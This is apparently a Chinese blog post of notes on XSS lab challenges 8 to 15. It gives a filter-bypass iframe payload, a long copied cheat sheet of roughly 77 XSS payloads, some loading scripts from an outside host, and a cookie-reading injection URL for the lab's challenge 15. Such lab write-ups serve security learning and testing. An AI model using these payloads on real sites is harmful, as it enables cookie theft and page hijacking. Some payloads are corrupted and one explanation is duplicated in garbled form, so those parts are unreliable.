nosugar

已于 2023-10-19 20:23:51 修改
阅读量103 收藏
点赞数
文章标签： 网络安全 xss
于 2023-09-23 22:35:26 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Jianmuhtb/article/details/133220362
版权

xss第八题

image-20230922220959927

image-20230922221334616

xss第九题

image-20230922222315560

xss第十题

image-20230922230459618

xss第十一题

image-20230923000415181

image-20230923000449424

xss第十二题

image-20230923140114779

xss第十三题

image-20230923151704683

image-20230923151814102

意味着可以将&编码成%26

xss第十四题

image-20230923182827356

载荷：<IFR<IFR<IFRAME>AME>AME SRC=“javascript:alert(‘XSS’);”>

过滤代码


				function $getQuery(name,url){var u=arguments[1]||window.location.search,reg=new RegExp("(^|&)"+name+"=([^&]*)(&|$)"),r=u.substr(u.indexOf("\?")+1).match(reg);return r!=null?r[2]:"";}
				function decodeURIComp(str){
					return decodeURIComponent(str);
				}
				var util = {};
				util.filterScript = function(n) {
					return n = n.replace(/<(script|link|style|iframe|embed|object|form|input)(\/)?\>?/gi, ""),
					n = n.replace(/\s*on[a-z]+\s*=\s*("[^"]+"|'[^']+'|[^\s]+)\s*/gi, ""),
					n = n.replace(/href\s*\=\s*(?:'[^']*'|""[^""]*""|[^>\s/])([^>]*)/gi, ""),
					n.replace(/expression\((.|\n)*\);?/gi, "")
				}
				util.getKeyword=function(){
					var keyword = decodeURIComp($getQuery('keyword'));
					var a = util.filterScript(keyword); 
					a = util.filterScript(a); 
					a = util.filterScript(a); //共执行三次过滤
					return a;
				}
				document.getElementById("list").innerHTML=util.getKeyword();

xss载荷大全以及教程https://zhuanlan.zhihu.com/p/589666884?utm_id=0

<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

xss第十五题

image-20230923214524613

载荷：

/xss/ext/15.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);a=\u0027&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

效果：image-20230923215023791

<script type="text/javascript" reload="1">
setTimeout("window.location.href ='../a\u0027;alert(document.cookie);a=\u0027';", 1000);
</script>

实测js16编码也可以

https://scene-4jh4rf0vv0fvis45-xss-3000.zhigeng.toolmao.com/xss/ext/15.php?receive=yes&mod=login&op=callback&referer=a\x27;alert();a=\x27&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

<script type="text/javascript" reload="1">
setTimeout("window.location.href ='../a\x27;alert();a=\x27';", 1000);
</script>

js8编码也行

https://scene-4jh4rf0vv0fvis45-xss-3000.zhigeng.toolmao.com/xss/ext/15.php?receive=yes&mod=login&op=callback&referer=a\47;alert();a=\47&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802

<script type="text/javascript" reload="1">
setTimeout("window.location.href ='../a\47;alert();a=\47';", 1000);
</script>

原理：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

解释一下这段代码：<script type="text/javascript" reload="1">
setTimeout("window.location.href ='../a';alert(document.cookie);a='';", 1000);
</script>

这段代码是一个JavaScript脚本，它包含在<script>标签中，并具有type="text/javascript"和reload="1"属性。
代码的逻辑如下：
setTimeout(..., 1000)：在1000毫秒（即1秒）后执行一个匿名函数。
匿名函数的内容是一个字符串：window.location.href ='../a';alert(document.cookie);a='';。这个字符串包含了三个操作：
a. window.location.href ='../a';：将当前页面的URL重定向到../a。
b. alert(document.cookie);：弹出一个对话框，显示当前页面的cookie值。
c. a='';：将变量a的值设置为空字符串。
综合起来，这段代码的作用是在页面加载后等待1秒钟，然后将页面重定向到../a，弹出一个对话框显示当前页面的cookie值，并将变量a的值设置为空字符串。

容是一个字符串：window.location.href =’…/a’;alert(document.cookie);a=’’;。这个字符串包含了三个操作：
a. window.location.href =’…/a’;：将当前页面的URL重定向到…/a。
b. alert(document.cookie);：弹出一个对话框，显示当前页面的cookie值。
c. a=’’;：将变量a的值设置为空字符串。
综合起来，这段代码的作用是在页面加载后等待1秒钟，然后将页面重定向到…/a，弹出一个对话框显示当前页面的cookie值，并将变量a的值设置为空字符串。
Jianmuhtb
关注
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8488
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
Pikachu-Cross-Site Scripting-xss盲打
guanrongl的专栏
10-03 341
xss盲打，不是一种漏洞类型，而是一个攻击场景；在前端、或者在当前页面是看不到攻击结果；而是在后端、在别的页面才看到结果。登陆后台，查看结果；
PIKACHU | PIKACHU 靶场 XSS 后台配置
Blue17 の 小窝
09-30 870
PIKACHU 自带了一个 XSS 平台，可以辅助我们完成 XSS 攻击，但是该后台需要配置数据库以后才能使用。本教程，就是教大家如何配置 PIKACHU XSS 平台的。PIKACHU XSS 平台的配置流程主要分为以下三步：修改 PIKACHU 数据库配置文件。=> 修改过的可以跳过此步初始化 PIKACHU XSS 平台数据库。登录并使用 PIKACHU XSS 平台。
xss之dom类型
m0_74741186的博客
10-05 340
上我们的pikachu。
Pikachu-xss防范措施 - href输出 & js输出
guanrongl的专栏
10-03 439
要想防止href 标签的xss ： 一、可以做输入限定，只允许http 、https 的头的输入；二、结合输入限定后再做特殊字符转义。转义：所有输出到前端的数据，都根据输出点进行转义，比如输出到html中进行html实体转义，输入到 JS 里面的进行 JS 转义。过滤：根据业务需要进行过滤，如：输入点要求输入手机号，则只允许输入手机号格式的数字；从页面代码上看出，这是个href 标签，并且做了href特殊字符转换。核心点是：$ms == 'tmac'总体原则： 输入做过滤，输出做转义。
Pikachu-Cross-Site Scripting-反射型xss(get)
guanrongl的专栏
10-02 523
存储型XSS是指恶意脚本被存储在目标服务器上，当用户访问包含该脚本的页面时，脚本会被执行。例如，攻击者可以在留言板中输入恶意脚本，当其他用户查看留言时，脚本会在他们的浏览器中执行。这种类型的XSS不需要服务器端的参与，攻击者通过构造特定的URL或操作DOM，使得浏览器执行恶意脚本。提交构造的脚本代码(以及各种绕过姿势)，看是否可以成功执行，如果成功执行则说明存在XSS漏洞;2、输入一组“特殊字符+唯一识别字符”，点击提交后，查看返回的源码，是否有做对应的处理;先输入各种特殊字符，查看源代码，查看页面返回；
Pikichu-xss实验案例-通过xss获取cookie
guanrongl的专栏
10-02 370
查看后端代码cookie.php：就是获取cookie信息，保存起来，然后重定向跳转到目标页面；修改最后从定向的ip，改为自己测试用的IP地址；对此，构造攻击payload， 获取到cookie ，然后从定向跳转到pkxss后台，pkxss后台把数据保存后，重新重定向回到被攻击的页面。该后台可以把获得的cookie信息显示出来；pikachu提供了一个pkxss后台；
XSS基础
2302_81328699的博客
10-01 351
【代码】XSS基础
Pikachu-Cross-Site Scripting-xss之htmlspecialchars
guanrongl的专栏
10-03 229
查看页面元素，可以看到这里对一些符号做了转换，但是 单引号等几个符号没处理；提交，得到xss攻击。
XSS简介
weixin_63175492的博客
10-04 249
XSS攻击，通常是指黑客通过“HTML注入”篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的攻击。在一开始，这种攻击演示是跨域的，所有叫做"跨站脚本"。跨站脚本攻击，英文全称是Cross Site Script ,本来缩写是CSS，但是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别，所以在安全领域叫做“XSS”。XSS长期以来被列为客户端web安全中的头号大敌，因为XSS破坏力强大，且产生的场景复杂，难以一次性解决。那么，什么是XSS呢？
Pikachu-Cross-Site Scripting-DOM型xss_x
guanrongl的专栏
10-02 201
获取text内容，赋值给xss 然后拼接到 dom 里；查看代码，输入的内容，通过get请求方式，用text 参数带过去；所以str 为 #' onclick="alert(11)">输入，得到xss 结果。
[Meachines] [Easy] Sea WonderCMS-XSS-RCE+System Monitor 命令注入
10-04 377
#WonderCMS-XSS-RCE #System Monitor 命令注入
【CTF Web】Pikachu 反射型xss(get) Writeup（反射型XSS+GET请求）
HEX9CF的技术博客
09-28 647
Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型：1.反射性XSS;2.存储型XSS;3.DOM型XSS;XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。
山东建筑大学在辽宁2020-2024各专业最低录取分数及位次表.pdf
10-05
那些年，与你同分同位次的同学都去了哪里？全国各大学在辽宁2020-2024年各专业最低录取分数及录取位次数据，高考志愿必备参考数据
MATLAB中实现基于遗传算法（GA）优化的门控循环单元（GRU）进行数据多输入单输出回归预测（包含详细的完整的程序和数据）
最新发布
10-05
内容概要在本文档中详细介绍了在MATLAB环境中运用遗传算法（GA）对门控循环单元（GRU）网络模型进行优化，并实现多输入单一输出的数据回归预测的技术过程，涵盖数据生成、模型建立与配置、遗传算法优化以及最终的训练和效果测试。 适合人群本总结适用于从事深度学习特别是涉及序列数据研究的专业人士，如机器学习工程师、科研工作者或希望深化自己神经网络建模技能的学习者。 使用场景及目标包括但不限于：解决实际应用中遇到的时间序列预测问题、提升对于RNN家族中高级组件的理解水平以及掌握复杂任务下模型调参的具体手法，尤其着重于增强回归问题的精度表现。 附加说明随文提供的范例代码全面细致，使得初学者能顺利跟随教程建立起自身项目，在实践中探索遗传搜索法的优势所在。
基于Vue框架的毕业生离校管理系统设计源码
10-05
本项目为基于Vue框架开发的毕业生离校管理系统设计源码，包含322个文件，涵盖147个Vue组件、95个JavaScript脚本、46个SVG图形、9个SCSS样式表、3个Handlebars模板、2个YAML配置、2个Markdown文件、2个JSON数据、2个PNG图片和2个CSS样式文件。系统采用Vue、JavaScript、CSS和HTML等多种编程语言和技术构建，旨在实现毕业生的离校管理功能。
基于Python语言的实训内容设计源码
10-05
本项目是一款以Python为主开发语言的实训内容设计源码，共包含33个文件，涵盖21个Python源代码文件、5个编译后文件、3个图片文件、3个文本文件、1个JSON文件。这些文件共同构成了一个结构完整的实训项目，旨在为学生提供实际操作的学习平台。
大模型利用多样性精选大语言模型预训练中重要数据的选择算法
10-05
在大规模可用训练语料库中，数据选择对于大型语言模型（LLM）的预训练至关重要。研究人员正在探索使用数据影响力来衡量数据实例的重要性，即高影响力分数表明将该实例纳入训练集可能会提高模型性能。然而，这种方法存在几个限制：(1) 计算所有可用数据的影响力耗时；(2) 选择的数据实例不够多样化，可能会阻碍预训练模型有效泛化到各种下游任务。本文介绍了Quad方法，这是一种同时考虑质量和多样性的数据选择方法，通过使用数据影响力实现最先进的预训练结果。
基于Python和HTML的智慧养老系统计算机视觉代码设计源码
10-05
该项目是一款基于Python和HTML开发的智慧养老系统计算机视觉代码设计源码，包含95个文件，其中包括64个Python源代码文件、9个XML配置文件、5个Git忽略文件、4个HTML页面文件以及其他类型的文件，如hdf5、iml、md等。该系统专注于利用计算机视觉技术提升养老服务，适用于智慧养老领域的应用开发。
输送粉末涂层炉_三维3D设计图纸.zip
10-05
输送粉末涂层炉_三维3D设计图纸.zip
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值